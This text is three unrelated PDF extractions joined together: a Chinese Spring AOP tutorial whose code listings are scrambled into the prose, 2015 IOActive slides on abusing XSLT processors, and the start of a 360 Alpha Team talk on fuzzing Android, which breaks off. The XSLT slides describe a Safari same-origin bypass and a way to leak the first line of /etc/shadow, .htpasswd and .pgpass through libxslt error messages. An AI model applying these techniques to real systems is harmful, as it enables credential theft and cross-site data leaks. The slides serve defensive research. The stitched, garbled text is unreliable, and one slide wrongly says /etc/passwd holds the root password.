@Value("${jdbc.username}") 23 private String username; 24 25 @Value("${jdbc.password}") 26 private String password; 27 28 /** 29 * 用于创建一个QueryRunner对象 30 * @param dataSource 31 * @return 32 */ 33 @Bean(name="runner") 34 @Scope("prototype") 35 public QueryRunner createQueryRunner(@Qualifier("ds2") DataSource dataSource){ 36 return new QueryRunner(dataSource); 37 } 38 39 /** 40 * 创建数据源对象 41 * @return 42 */ 43 @Bean(name="ds2") 44 public DataSource createDataSource(){ 45 try { 46 ComboPooledDataSource ds = new ComboPooledDataSource(); 47 ds.setDriverClass(driver); 48 ds.setJdbcUrl(url); 49 ds.setUser(username); 50 ds.setPassword(password); 51 return ds; 52 }catch (Exception e){ 53 throw new RuntimeException(e); 54 } 55 } 56 57 @Bean(name="ds1") 58 四、AOP 1.AOP简介 在软件业,AOP为Aspect Oriented Programming的缩写,意为:⾯向切⾯编程 ,通过 预编 译 ⽅式和运⾏期间动态代理实现程序功能的统⼀维护的⼀种技术。AOP是 OOP 的延续,是软 件开发中的⼀个热点,也是 Spring 框架中的⼀个重要内容,是 函数式编程 的⼀种衍⽣范 型。利⽤AOP可以对业务逻辑的各个部分进⾏隔离,从⽽使得业务逻辑各部分之间的 耦合度 降低,提⾼程序的可重⽤性,同时提⾼了开发的效率。 简单的说它就是把我们程序重复的代码抽取出来,在需要执⾏的时候,使⽤动态代理的技术,在 不修改源码的 基础上,对我们的已有⽅法进⾏增强。 实现⽅式:动态代理技术(JDK原⽣的动态代理及cglib) 不改动原有代码的情况下 向某个⽅法插 ⼊代码,实现⾯向切⾯编程 2.Spring中的AOP 2.1 AOP相关术语 Joinpoint(连接点): 所谓连接点是指那些被拦截到的点。在 spring 中,这些点指的是⽅法,因为 spring 只⽀持⽅法类型的 连接点。 Pointcut(切⼊点): 所谓切⼊点是指我们要对哪些 Joinpoint 进⾏拦截的定义。 Advice(通知/增强): 所谓通知是指拦截到 Joinpoint 之后所要做的事情就是通知。 通知的类 型:前置通知,后置通知,异常通知,最终通知,环绕通知。 Introduction(引介): 引介是⼀种特殊的通知在不修改类代码的前提下, Introduction 可以在运⾏ 期为类动态地添加⼀些⽅ 法或 Field。 Target(⽬标对象): 代理的⽬标对象。 Weaving(织⼊): 是指把增强应⽤到⽬标对象来创建新的代理对象的过程。 spring 采⽤动态代理 织⼊,⽽ AspectJ 采⽤编译期织⼊和类装载期织⼊。 Proxy(代理): ⼀个类被 AOP 织⼊增强后,就产⽣⼀个结果代理类。 Aspect(切⾯): 是切⼊点和通知(引介)的结合。  2.2 代理的选择 在 spring 中,框架会根据⽬标类是否实现了接⼝来决定采⽤哪种动态代理的⽅式。 public DataSource createDataSource1(){ 59 try { 60 ComboPooledDataSource ds = new ComboPooledDataSource(); 61 ds.setDriverClass(driver); 62 ds.setJdbcUrl("jdbc:mysql://localhost:3306/eesy02"); 63 ds.setUser(username); 64 ds.setPassword(password); 65 return ds; 66 }catch (Exception e){ 67 throw new RuntimeException(e); 68 } 69 } 70 } 71 3.基于XML配置的AOP实现  3.1 spring中基于XML的AOP配置步骤 1、把通知Bean也交给spring来管理 2、使⽤aop:config标签表明开始AOP的配置 3、使⽤aop:aspect标签表明配置切⾯ id属性:是给切⾯提供⼀个唯⼀标识 ref属性:是指定通知类bean的Id。 4、在aop:aspect标签的内部使⽤对应标签来配置通知的类型 我们现在示例是让printLog⽅法在切⼊点⽅法执⾏之前之前:所以是前置通知 aop:before:表示配置前置通知 method属性:⽤于指定Logger类中哪个⽅法是前置通知 pointcut属性:⽤于指定切⼊点表达式,该表达式的含义指的是对业务层中哪些⽅法增强 3.2 切⼊点表达式的写法 关键字:execution(表达式) 表达式: 访问修饰符 返回值 包名.包名.包名...类名.⽅法名(参数列表) 标准的表达式写法: public void com.itheima.service.impl.AccountServiceImpl.saveAccount() 访问修饰符可以省略 void com.itheima.service.impl.AccountServiceImpl.saveAccount() 返回值可以使⽤通配符,表示任意返回值 * com.itheima.service.impl.AccountServiceImpl.saveAccount() 包名可以使⽤通配符,表示任意包。但是有⼏级包,就需要写⼏个*. * *.*.*.*.AccountServiceImpl.saveAccount()) 包名可以使⽤..表示当前包及其⼦包 * *..AccountServiceImpl.saveAccount() 类名和⽅法名都可以使⽤*来实现通配 * *..*.*() 参数列表: 可以直接写数据类型: 基本类型直接写名称 int 引⽤类型写包名.类名的⽅式 java.lang.String 可以使⽤通配符表示任意类型,但是必须有参数 可以使⽤..表示有⽆参数均可,有参数可以是任意类型 全通配写法: * *..*.*(..) 实际开发中切⼊点表达式的通常写法: 切到业务层实现类下的所有⽅法 * com.itheima.service.impl.*.*(..) 3.3 例⼦ 测试AOP的配置 import com.itheima.service.IAccountService; 1 import org.springframework.context.ApplicationContext; 2 import org.springframework.context.support.ClassPathXmlApplicationContext; 3 xml⽂件 4 /** 5 * 测试AOP的配置 6 */ 7 public class AOPTest { 8 9 public static void main(String[] args) { 10 //1.获取容器 11 ApplicationContext ac = new ClassPathXmlApplicationContext("bean.xml"); 12 //2.获取对象 13 IAccountService as = (IAccountService)ac.getBean("accountService"); 14 //3.执行方法 15 as.saveAccount(); 16 as.updateAccount(1); 17 as.deleteAccount(); 18 } 19 } 20 <?xml version="1.0" encoding="UTF-8"?> 1 <beans xmlns="http://www.springframework.org/schema/beans" 2 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 3 xmlns:aop="http://www.springframework.org/schema/aop" 4 xsi:schemaLocation="http://www.springframework.org/schema/beans 5 http://www.springframework.org/schema/beans/spring-beans.xsd 6 http://www.springframework.org/schema/aop 7 http://www.springframework.org/schema/aop/spring-aop.xsd"> 8 9 <!-- 配置srping的Ioc,把service对象配置进来--> 10 <bean id="accountService" class="com.itheima.service.impl.AccountServiceImpl"></bean> 11 12 <!-- 配置Logger类 --> 13 <bean id="logger" class="com.itheima.utils.Logger"></bean> 14 15 <!--配置AOP--> 16 <aop:config> 17 <!--配置切面 --> 18 <aop:aspect id="logAdvice" ref="logger"> 19 <!-- 配置通知的类型,并且建立通知方法和切入点方法的关联--> 20 <aop:before method="printLog" pointcut="execution(* com.itheima.service.impl.*.*(..))"></aop:before> 21 </aop:aspect> 22 </aop:config> 23 24 </beans> 25 4.环绕通知 环绕通知 问题:      当我们配置了环绕通知之后,切⼊点⽅法没有执⾏,⽽通知⽅法执⾏了。 分析:      通过对⽐动态代理中的环绕通知代码,发现动态代理的环绕通知有明确的切⼊点⽅法调⽤, ⽽我们的代码中没有。 解决:      Spring框架为我们提供了⼀个接⼝:ProceedingJoinPoint。该接⼝有⼀个⽅法proceed(), 此⽅法就相当于明确调⽤切⼊点⽅法。      该接⼝可以作为环绕通知的⽅法参数,在程序执⾏时,spring框架会为我们提供该接⼝的实 现类供我们使⽤。 spring中的环绕通知:      它是spring框架为我们提供的⼀种可以在代码中⼿动控制增强⽅法何时执⾏的⽅式。 /** 1 * 用于记录日志的工具类,它里面提供了公共的代码 2 */ 3 public class Logger { 4 5 /** 6 * 前置通知 7 */ 8 public void beforePrintLog(){ 9 System.out.println("前置通知Logger类中的beforePrintLog方法开始记录日志 了。。。"); 10 } 11 12 /** 13 * 后置通知 14 */ 15 public void afterReturningPrintLog(){ 16 System.out.println("后置通知Logger类中的afterReturningPrintLog方法开 始记录日志了。。。"); 17 } 18 /** 19 * 异常通知 20 */ 21 public void afterThrowingPrintLog(){ 22 System.out.println("异常通知Logger类中的afterThrowingPrintLog方法开始 记录日志了。。。"); 23 } 24 25 /** 26 * 最终通知 27 */ 28 public void afterPrintLog(){ 29 5.基于注解配置的AOP实现  @Aspect、@Before、@AfterReturning、@AfterThrowing、@After、@Around System.out.println("最终通知Logger类中的afterPrintLog方法开始记录日志 了。。。"); 30 } 31 32 public Object aroundPringLog(ProceedingJoinPoint pjp){ 33 Object rtValue = null; 34 try{ 35 Object[] args = pjp.getArgs();//得到方法执行所需的参数 36 37 System.out.println("Logger类中的aroundPringLog方法开始记录日志 了。。。前置"); 38 39 rtValue = pjp.proceed(args);//明确调用业务层方法(切入点方法) 40 41 System.out.println("Logger类中的aroundPringLog方法开始记录日志 了。。。后置"); 42 43 return rtValue; 44 }catch (Throwable t){ 45 System.out.println("Logger类中的aroundPringLog方法开始记录日志 了。。。异常"); 46 throw new RuntimeException(t); 47 }finally { 48 System.out.println("Logger类中的aroundPringLog方法开始记录日志 了。。。最终"); 49 } 50 } 51 } 52 import org.aspectj.lang.ProceedingJoinPoint; 1 import org.aspectj.lang.annotation.*; 2 import org.springframework.stereotype.Component; 3 4 /** 5 * 用于记录日志的工具类,它里面提供了公共的代码 6 */ 7 @Component("logger") 8 @Aspect//表示当前类是一个切面类 9 public class Logger { 10 11 @Pointcut("execution(* com.itheima.service.impl.*.*(..))") 12 private void pt1(){} 13 14 /** 15 * 前置通知 16 */ 17 // @Before("pt1()") 18 public void beforePrintLog(){ 19 System.out.println("前置通知Logger类中的beforePrintLog方法开始记录日志 了。。。"); 20 } 21 22 /** 23 * 后置通知 24 */ 25 // @AfterReturning("pt1()") 26 public void afterReturningPrintLog(){ 27 System.out.println("后置通知Logger类中的afterReturningPrintLog方法开 始记录日志了。。。"); 28 } 29 /** 30 * 异常通知 31 */ 32 // @AfterThrowing("pt1()") 33 public void afterThrowingPrintLog(){ 34 System.out.println("异常通知Logger类中的afterThrowingPrintLog方法开始 记录日志了。。。"); 35 } 36 37 /** 38 * 最终通知 39 */ 40 // @After("pt1()") 41 public void afterPrintLog(){ 42 System.out.println("最终通知Logger类中的afterPrintLog方法开始记录日志 了。。。"); 43 } 44 45 /** 46 * 环绕通知 47 * 问题: 48 * 当我们配置了环绕通知之后,切入点方法没有执行,而通知方法执行了。 49 * 分析: 50 * 通过对比动态代理中的环绕通知代码,发现动态代理的环绕通知有明确的切入点 方法调用,而我们的代码中没有。 51 * 解决: 52 * Spring框架为我们提供了一个接口:ProceedingJoinPoint。该接口有一个方 法proceed(),此方法就相当于明确调用切入点方法。 53 * 该接口可以作为环绕通知的方法参数,在程序执行时,spring框架会为我们提供 该接口的实现类供我们使用。 54 * 55 * spring中的环绕通知: 56 * 它是spring框架为我们提供的一种可以在代码中手动控制增强方法何时执行的方 式。 57 bean.xml 6.使⽤Configuration类配置注解 五、参考资料 */ 58 @Around("pt1()") 59 public Object aroundPringLog(ProceedingJoinPoint pjp){ 60 Object rtValue = null; 61 try{ 62 Object[] args = pjp.getArgs();//得到方法执行所需的参数 63 64 System.out.println("Logger类中的aroundPringLog方法开始记录日志 了。。。前置"); 65 66 rtValue = pjp.proceed(args);//明确调用业务层方法(切入点方法) 67 68 System.out.println("Logger类中的aroundPringLog方法开始记录日志 了。。。后置"); 69 70 return rtValue; 71 }catch (Throwable t){ 72 System.out.println("Logger类中的aroundPringLog方法开始记录日志 了。。。异常"); 73 throw new RuntimeException(t); 74 }finally { 75 System.out.println("Logger类中的aroundPringLog方法开始记录日志 了。。。最终"); 76 } 77 } 78 } 79 《Spring 5开发⼤全》 https://www.bilibili.com/video/BV1mE411X7yp?p=92&t=170
pdf
IOActive, Inc. Copyright ©2015. All Rights Reserved. Abusing XSLT for Practical Attacks Fernando Arnaboldi Senior Security Consultant IOActive, Inc. Copyright ©2015. All Rights Reserved. Why XSLT ? IOActive, Inc. Copyright ©2015. All Rights Reserved. Why XSLT ? •  XML vulnerabilities are fun. They may get you passwords. •  So I read about: –  XML –  Schemas –  XSLT (this presentation) IOActive, Inc. Copyright ©2015. All Rights Reserved. Objectives of this talk •  Analyze common weakness in XSLT •  Exploit implementations flaws IOActive, Inc. Copyright ©2015. All Rights Reserved. Who is this talk for ? •  Code reviewers •  Developers using XML and XSLT •  Anyone trying to abuse stuff IOActive, Inc. Copyright ©2015. All Rights Reserved. And why would you care ? •  XSLT processors (parsers) are still affected by these flaws •  These flaws may have an impact on you and your customers integrity and confidentiality •  These flaws are using XSLT functionality. There are no payloads to be detected by antivirus. IOActive, Inc. Copyright ©2015. All Rights Reserved. Agenda •  Introduction to your target •  Numbers •  Random numbers •  Bypass the same origin policy •  Information Disclosure (and File Reading) through Errors IOActive, Inc. Copyright ©2015. All Rights Reserved. Introduction IOActive, Inc. Copyright ©2015. All Rights Reserved. Introduction •  What this does and which software does it ? •  Attack vectors •  Identify target IOActive, Inc. Copyright ©2015. All Rights Reserved. What does XSLT do ? •  XSLT is a language used to manipulate or transform documents •  It receives as input an XML document •  It outputs a XML, HTML, or Text document IOActive, Inc. Copyright ©2015. All Rights Reserved. XSLT Versions •  There are three different XSLT versions: v1, v2 and v3 •  XSLT v1 the most implemented version: –  Because higher XSLT versions support previous versions. –  Because it is the only one supported by web browsers IOActive, Inc. Copyright ©2015. All Rights Reserved. Which software was tested ? •  Server side processors: –  Command line standalone processors –  Libraries used by programming languages •  Client side processors: –  Web browsers –  XML/XSLT editors (which were not analyzed) IOActive, Inc. Copyright ©2015. All Rights Reserved. Server side processors •  CLI standalone processors and libraries: –  Libxslt (Gnome): •  standalone (xsltproc) •  Libxslt 1.1.28, Python v2.7.10, PHP v5.5.20, Perl v5.16 and Ruby v2.0.0p481 –  Xalan (Apache) •  standalone (Xalan-C v1.10.0, Xalan-J v2.7.2) •  C++ (Xalan-C) and Java (Xalan-J) –  Saxon (Saxonica): •  Standalone (saxon) v9.6.0.6J •  Java, JavaScript and .NET IOActive, Inc. Copyright ©2015. All Rights Reserved. Client side processors •  Web browsers: –  Google Chrome v43.0.2357.124 –  Safari v8.0.6 –  Firefox v38.0.5 –  Internet Explorer v11 –  Opera v30.0 IOActive, Inc. Copyright ©2015. All Rights Reserved. Attack vector #1 •  A XML/XHTML document can use an XSLT document XML XSLT XSLT Processor Result Document IOActive, Inc. Copyright ©2015. All Rights Reserved. XSLT Processor Attack vector #2 •  A XML/XHTML document can reference an XSLT document XML XSLT Result Document IOActive, Inc. Copyright ©2015. All Rights Reserved. XSLT Processor Attack vector #3 •  A XML/XHTML document can contain an embedded XSLT document XML / XHTML & XSLT Result Document IOActive, Inc. Copyright ©2015. All Rights Reserved. Who’s your target ? •  XSLT processors have specific properties: •  Web browsers also have JavaScript properties: IOActive, Inc. Copyright ©2015. All Rights Reserved. Version disclosure summary IOActive, Inc. Copyright ©2015. All Rights Reserved. Numbers IOActive, Inc. Copyright ©2015. All Rights Reserved. Numbers •  Present in client and server side processors •  Real numbers will introduce errors •  Integers will also do that ! IOActive, Inc. Copyright ©2015. All Rights Reserved. How it feels when using numbers in XSLT IOActive, Inc. Copyright ©2015. All Rights Reserved. Calculations with floating point numbers •  Define a stylesheet and solve a simple calculation “God is real, unless declared integer” (Anonymous) IOActive, Inc. Copyright ©2015. All Rights Reserved. Sample outputs •  0.2 + 0.1 – 0.3? –  2 processors said it is 0 (Opera and Chrome) –  Firefox, Safari, IE, and all server side processors said it is 0.00000000000000005551115123125783 IOActive, Inc. Copyright ©2015. All Rights Reserved. Floating point accuracy xsl:vendor output server xalan-­‐c  (apache)   Apache  So7ware  Founda;on  0.00000000000000005551115123125783 xalan-­‐j  (apache)   Apache  So7ware  Founda;on  0.00000000000000005551115123125783 saxon Saxonica 5.551115123125783E-­‐17 xsltproc libxslt 5.551115123125783E-­‐17 php libxslt 5.551115123125783E-­‐17 python libxslt 5.551115123125783E-­‐17 perl libxslt 5.551115123125783E-­‐17 ruby libxslt 5.551115123125783E-­‐17 client safari libxslt 5.551115123125783E-­‐17 opera libxslt 0 chrome libxslt 0 firefox Transformiix 5.551115123125783E-­‐17 internet  explorer  Microso7 5.551115123125783E-­‐17 •  TL;DR. floating point numbers introduce errors IOActive, Inc. Copyright ©2015. All Rights Reserved. What can we do with these errors ? •  Loss of precision is a common error in all programming languages, not just XSLT. •  Floats will not notice if certain decimals are missing. •  Demo ! IOActive, Inc. Copyright ©2015. All Rights Reserved. Profit with loss of precision on floats IOActive, Inc. Copyright ©2015. All Rights Reserved. Let’s talk about integers •  Define an XML with 10 numbers (5 are in exponential notation and 5 are not): IOActive, Inc. Copyright ©2015. All Rights Reserved. Integer accuracy •  Print the original XML value and the XSLT representation IOActive, Inc. Copyright ©2015. All Rights Reserved. Integer accuracy (cont’d) •  Saxon: this is what you want to see 1e22: 10,000,000,000,000,000,000,000 1e23: 100,000,000,000,000,000,000,000 1e24: 1,000,000,000,000,000,000,000,000 1e25: 10,000,000,000,000,000,000,000,000 1e26: 100,000,000,000,000,000,000,000,000 10000000000000000000000: 10,000,000,000,000,000,000,000 100000000000000000000000: 100,000,000,000,000,000,000,000 1000000000000000000000000: 1,000,000,000,000,000,000,000,000 10000000000000000000000000: 10,000,000,000,000,000,000,000,000 100000000000000000000000000: 100,000,000,000,000,000,000,000,000 IOActive, Inc. Copyright ©2015. All Rights Reserved. Integer accuracy (cont’d) •  Internet Explorer and Firefox are good at this ! 1e22: NaN 1e23: NaN 1e24: NaN 1e25: NaN 1e26: NaN 10000000000000000000000: 10,000,000,000,000,000,000,000 100000000000000000000000: 100,000,000,000,000,000,000,000 1000000000000000000000000: 1,000,000,000,000,000,000,000,000 10000000000000000000000000: 10,000,000,000,000,000,000,000,000 100000000000000000000000000: 100,000,000,000,000,000,000,000,000 Not being able to represent an exponential number is not a flaw. IOActive, Inc. Copyright ©2015. All Rights Reserved. Integer accuracy (cont’d) •  Libxslt processors (Xsltproc, Php, Perl, Ruby, Python, Safari, Chrome and Opera) produce the following result: 1e22: 10,000,000,000,000,000,000,000 1e23: 100,000,000,000,000,000,000,002 1e24: 1,000,000,000,000,000,000,000,024 1e25: 10,000,000,000,000,000,000,000,824 1e26: 100,000,000,000,000,000,000,008,244 10000000000000000000000: 10,000,000,000,000,000,000,000 100000000000000000000000: 100,000,000,000,000,000,000,002 1000000000000000000000000: 1,000,000,000,000,000,000,000,024 10000000000000000000000000: 10,000,000,000,000,000,000,000,266 100000000000000000000000000: 100,000,000,000,000,000,000,002,660 “False knowledge is more dangerous than ignorance” IOActive, Inc. Copyright ©2015. All Rights Reserved. Integer accuracy (cont’d) •  Xalan for Java –almost– got it right 1e22: NaN 1e23: NaN 1e24: NaN 1e25: NaN 1e26: NaN 10000000000000000000000: 10,000,000,000,000,000,000,000 100000000000000000000000: 99,999,999,999,999,990,000,000 1000000000000000000000000: 1,000,000,000,000,000,000,000,000 10000000000000000000000000: 10,000,000,000,000,000,000,000,000 100000000000000000000000000: 100,000,000,000,000,000,000,000,000 IOActive, Inc. Copyright ©2015. All Rights Reserved. Integer accuracy (cont’d) •  Xalan for C just doesn’t care 1e22: NaN 1e23: NaN 1e24: NaN 1e25: NaN 1e26: NaN 10000000000000000000000: 10000000000000000000000 100000000000000000000000: 99999999999999991611392 1000000000000000000000000: 999999999999999983222784 10000000000000000000000000: 10000000000000000905969664 100000000000000000000000000: 100000000000000004764729344 IOActive, Inc. Copyright ©2015. All Rights Reserved. Integer accuracy (cont’d) •  There is a justification for this behavior. A number can have any double-precision 64-bit format IEEE 754 value. •  Implementations adopted different solutions IOActive, Inc. Copyright ©2015. All Rights Reserved. Vendor explanation •  A security team explained the accuracy by: –  Referencing Wikipedia –  Referencing the XSLT v2.0 specification –  Referencing JavaScript IOActive, Inc. Copyright ©2015. All Rights Reserved. Integer accuracy summary xsl:vendor result server xalan-­‐c  (apache) Apache  So7ware  Founda;on   error xalan-­‐j  (apache) Apache  So7ware  Founda;on   error saxon Saxonica ok xsltproc libxslt error php libxslt error python libxslt error perl libxslt error ruby libxslt error client safari libxslt error opera libxslt error chrome libxslt error firefox Transformiix ok internet  explorer Microso7 ok •  TL;DR. Integers will introduce errors. IOActive, Inc. Copyright ©2015. All Rights Reserved. We want more than decimals ! •  Large integers will not notice if small amounts are missing. •  Demo ! IOActive, Inc. Copyright ©2015. All Rights Reserved. Profit with loss of precision on large integers IOActive, Inc. Copyright ©2015. All Rights Reserved. Random numbers IOActive, Inc. Copyright ©2015. All Rights Reserved. Random numbers •  Present in server side processors •  Not any random number generator should be used for cryptographic purposes IOActive, Inc. Copyright ©2015. All Rights Reserved. Random numbers in XSLT •  It is a function from EXSLT (an extension to XSLT) •  The math:random() function returns a random number from 0 to 1 •  A random number is said to be a number that lacks any pattern IOActive, Inc. Copyright ©2015. All Rights Reserved. Random numbers in XSLT (cont’d) •  We use pseudo random numbers for simple things (i.e., random.random() in Python) •  We rely in cryptographically secure pseudo random numbers for sensitive stuff (i.e., random.SystemRandom() in Python) IOActive, Inc. Copyright ©2015. All Rights Reserved. Let’s take a look under the hood libxslt xalan-c xalan-j saxon pseudorandom pseudorandom pseudorandom pseudorandom IOActive, Inc. Copyright ©2015. All Rights Reserved. Only pseudo random numbers for XSLT •  rand(), srand(), java.lang.Math.Random(): implementations only returns pseudo random values •  A good definition comes from the man page of rand() and srand(): “bad random number generator”. •  No cryptographic usage should be done for these values. IOActive, Inc. Copyright ©2015. All Rights Reserved. Initialization vector •  What happens if there is no initialization vector ? IOActive, Inc. Copyright ©2015. All Rights Reserved. Initialization vector (cont’d) •  You may know in advance which values will be generated •  Random functions require an initial initialization value to produce random values •  Let’s review which random functions are using an IV IOActive, Inc. Copyright ©2015. All Rights Reserved. Initialization vector (cont’d) libxslt xalan-c xalan-j saxon Without IV With IV With IV With IV IOActive, Inc. Copyright ©2015. All Rights Reserved. Output of random() in libxslt •  Define a simple XSLT to see the output of math:random() IOActive, Inc. Copyright ©2015. All Rights Reserved. Output of random() in libxslt (cont’d) •  Random means without a pattern. Can you spot the pattern in the following two executions of libxslt ? •  They are producing the same output ! IOActive, Inc. Copyright ©2015. All Rights Reserved. Python random.random() vs libxslt Math:random() libxslt Python libxslt Python Execution #1 Execution #2 IOActive, Inc. Copyright ©2015. All Rights Reserved. No initialization vector for libxslt •  Without some external seed value (such as time), any pseudo-random generator will produce the same sequence of numbers every time it is initiated. •  If math:random() is used in libxslt for sensitive information, it may be easy to get the original plaintext value. IOActive, Inc. Copyright ©2015. All Rights Reserved. Random summary Type IV  ? server xalan-­‐c  (apache) pseudorandom yes xalan-­‐j  (apache) pseudorandom yes saxon pseudorandom yes xsltproc pseudorandom no php pseudorandom no python pseudorandom no perl pseudorandom no ruby pseudorandom no •  TL;DR. values may be predicted IOActive, Inc. Copyright ©2015. All Rights Reserved. Violate the Same Origin Policy IOActive, Inc. Copyright ©2015. All Rights Reserved. Violate the Same Origin Policy •  Present in client side processors (only web browsers). •  The Same-Origin Policy says that you can’t use a web browser to read information from a different origin •  Let’s ignore that statement for a moment IOActive, Inc. Copyright ©2015. All Rights Reserved. What is the Same-Origin Policy ? •  An origin is defined by the scheme, host, and port of a URL. •  Generally speaking, documents retrieved from distinct origins are isolated from each other. •  The most common programming language used in the DOM is JavaScript. But not necessarily ! IOActive, Inc. Copyright ©2015. All Rights Reserved. Same-Origin Policy – Valid scenario http:// example.com :80 /foo http:// example.com :80 http:// example.com :80/private/ ..or.. http:// example.com :80 /images/ IOActive, Inc. Copyright ©2015. All Rights Reserved. Same-Origin Policy – Invalid Scenarios https:// example.com :80 http:// evil.com :80 http:// example.com :8080 http:// example.com :80 Different scheme Different hostname Different port IOActive, Inc. Copyright ©2015. All Rights Reserved. XSLT functions that read XML •  document(): allows access to XML documents other than the main source document. •  Having that defined, how can we read it ? –  copy-of: copy a node-set over to the result tree without converting it to a string. –  value-of: create a text node in the result tree and converting it to a string IOActive, Inc. Copyright ©2015. All Rights Reserved. Bing.com uses XHTML. I’m logged in. How can I access private stuff ? DOM element containing the name is called “id_n” IOActive, Inc. Copyright ©2015. All Rights Reserved. Let’s put all the pieces together IOActive, Inc. Copyright ©2015. All Rights Reserved. Demo ! IOActive, Inc. Copyright ©2015. All Rights Reserved. Violate the Same Origin Policy summary •  TL;DR: –  Safari allows cross origin information. –  Internet Explorer shows a warning message, retrieves data, but there is no private information. –  Chrome, Firefox and Opera don’t retrieve data. IOActive, Inc. Copyright ©2015. All Rights Reserved. Information Disclosure (and File Reading) through Errors IOActive, Inc. Copyright ©2015. All Rights Reserved. Information Disclosure (and File Reading) through Errors •  Present in server side and client side processor. Focus is on server side processors because relies on the process having access to the file. •  There are no functions to read plain text files in XSLT v1.0 •  W3C says is not possible. But what if… IOActive, Inc. Copyright ©2015. All Rights Reserved. XSLT functions to read files •  Read other XML documents: –  document(): “allows access to XML documents other than the main source document” •  Read other XSLT documents: –  include(): “allows stylesheets to be combined without changing the semantics of the stylesheets being combined” –  import(): “allows stylesheets to override each other” IOActive, Inc. Copyright ©2015. All Rights Reserved. Create a simple text file with 3 lines $ echo -e "line 1\nline 2\nline 3" > testfile $ cat testfile line 1 line 2 line 3 IOActive, Inc. Copyright ©2015. All Rights Reserved. Read the text file using document() •  “If there is an error retrieving the resource, then the XSLT processor may signal an error;” •  Xalan-C, Xalan-J and Saxon output: Content is not allowed in prolog. Expected behaviour 1/2 IOActive, Inc. Copyright ©2015. All Rights Reserved. Read the text file using document() (cont’d) •  “…If it does not signal an error, it must recover by returning an empty node-set.” •  Ruby returns an empty node-set: <?xml version="1.0"?> Expected behaviour 2/2 IOActive, Inc. Copyright ©2015. All Rights Reserved. Read the text file using document() (cont’d) •  However, libxslt does not behaves like this. Xsltproc, PHP, and Perl will output the first line of our test file (Ruby will also do it later): testfile:1: parser error : Start tag expected, '<' not found line 1 ^ Unexpected behaviour IOActive, Inc. Copyright ©2015. All Rights Reserved. Maximize the results with one line •  The previous processors will expose the first line of the test file •  Which files have an interesting first line ? –  /etc/passwd: Linux root password –  /etc/shadow: Linux root password –  .htpasswd: Apache password –  .pgpass: PostgreSQL password IOActive, Inc. Copyright ©2015. All Rights Reserved. XML document generation… failed •  Reading /etc/passwd using xsltproc: •  Reading .htpasswd using PHP: IOActive, Inc. Copyright ©2015. All Rights Reserved. Got root ? Grab /etc/shadow •  Reading /etc/shadow using Ruby: IOActive, Inc. Copyright ©2015. All Rights Reserved. Reading files summary document()   import()   include() server xalan-­‐c  (apache) no no no xalan-­‐j  (apache) no no no saxon no no no xsltproc yes yes yes php yes yes yes python no no no perl yes yes yes ruby no yes yes •  TL;DR. You can read the first line of a non XML file through errors. IOActive, Inc. Copyright ©2015. All Rights Reserved. Conclusions •  When the attacker controls either the XML or the XSLT they may compromise the security of a system •  Confidentiality and integrity can also be affected without controlling either document •  Check your code (or someone else code) IOActive, Inc. Copyright ©2015 All Rights Reserved. Questions ? IOActive, Inc. Copyright ©2015 All Rights Reserved. Thank you •  Alejandro Hernandez •  Ariel Sanchez •  Carlos Hollman •  Cesar Cerrudo •  Chris Valasek •  Diego Madero •  Elizabeth Weese •  Jennifer Steffens •  Joseph Tartaro •  Lucas Apa •  Mariano Nogueira •  Matias Blanco •  Sofiane Talmat •  Yudell Rojas IOActive, Inc. Copyright ©2015. All Rights Reserved.
pdf
Fuzzing AOSP for non-crash bugs Elphet & Guang Gong @360 Alpha Team About us ●Elphet ○Security Researcher (Intern) of 360 Alpha Team ○Focus on Android system and application security ●Guang Gong ○Senior Security Researcher and Team Leader of 360 Alpha Team ○Focus on Android/Chrome Introduction • Fuzzers catch memory corruption bugs via crashes. ○When a bug doesn’t result in a crash, then it will be ignored. • Memory debugging tool also known as a runtime debugger is a tool for finding software memory problem during runtime. ○They increase the crash rate of a program by reporting errors positively. (e.g. ASAN, MSAN, TSAN) • Some kinds of bugs cannot be uncovered even with the help of sanitizers. ○ e.g. Intra-object-overflow ○ We built a tool based on LLVM to help our fuzzers find ~30 vulnerabilities in AOSP Agenda ●Fuzzers and Sanitizers ●Intra-object-overflow Bugs ●LLVM and IOODetector ●Case study ●Related Work and Discussion Fuzzers and Sanitizers ●Fuzzing is proved to be an effective way to find memory corruption bugs. ●A general workflow of a fuzzer Seed selector Mutator/ Generator Target Program Monitor/ Filter Init seed corpus Report crash Discarded boring test cases Interesting testcases Real Vulnerabilities Fuzzers ●Crash is a necessary signal for identifying a vulnerability in general purpose fuzzers Seed selector Mutator/ Generator Target Program Monitor / Filter Init seed corpus Report crash Discarded boring test cases Interesting testcases Real Vulnerabilities Crash handlers in popular fuzzers Crash handler in AFL Crash handler in honggFuzz Crash handler in libFuzzer Memory debugging tools (Sanitizers) ●Address Sanitizer ●Use after free ●Heap Buffer overflow ●Stack Buffer overflow ●Global buffer overflow ●Use after return ●Use after scope ●Initialization order bugs • Leak Sanitizer ●Memory leaks • Memory Sanitizer • use of uninitialized memory • Thread Sanitizer • Data races and dead locks • Undefined Behavior Sanitizer • …… Address Sanitizer Founded Bugs ●Sanitizers help fuzzers find more bugs by raise interesting signals in the program ●It founds many bugs in open source projects Algorithm of ASAN ●Core part: Shadow memory and poisoned red zone Red zone1 mem1 Red zone2 Mem2 Red zone3 ●Heap buffer overflow check ●Stack buffer overflow check After Instrumenta tion Before Instrumenta tion Bugs that ASAN cannot detect ●Overflow an inner field in an object Red zone1 mem1 Red zone2 Mem2 Red zone3 int size byte data[4] int size2 …… struct s1{ int size; uint8_t data[4]; int size2; }obj; obj.data[5] = input(); ●Overflow a buffer with a large array index Red zone1 byte data[4] Red zone2 Mem2 Red zone3 index = 4 + sizeof(redzone2); data[index] = input(); Intra Object Overflow intra-object-overflow other_field overwriten large index integer overflow Access red zone Report an error Intra Object Overflow Detector Manually? Manually sanitize the index to avoid buffer overflow after reviewing the project A lot of boring work. Some bugs would be missed. Intra Object Overflow Detector Automatically? • Static Analysis • LLVM Passes • Data Flow Analysis • Dynamic Analysis • LLVM Instrumentation • Data Flow tracing • Fuzzing IOODetector LLVM • Clang Frontend translate source code into IR • LLVM optimizer performs a sequence of optimization on IR • Backend then translate the optimized IR into machine code • We can customize our own LLVM passes on the IR LLVM IR LLVM IR LLVM IR GEP The ‘getelementptr’ instruction is used to get the address of a subelement of an aggregate data structure. It performs address calculation only and does not access memory. arg1: a type used as the basis for the calculations arg2: a pointer or a vector of pointers, and is the base address to start from arg3..n : indices that indicate which of the elements of the aggregate object are indexed LLVM IR GEP Instruction API • getSourceElementType() • getResultElementType() • 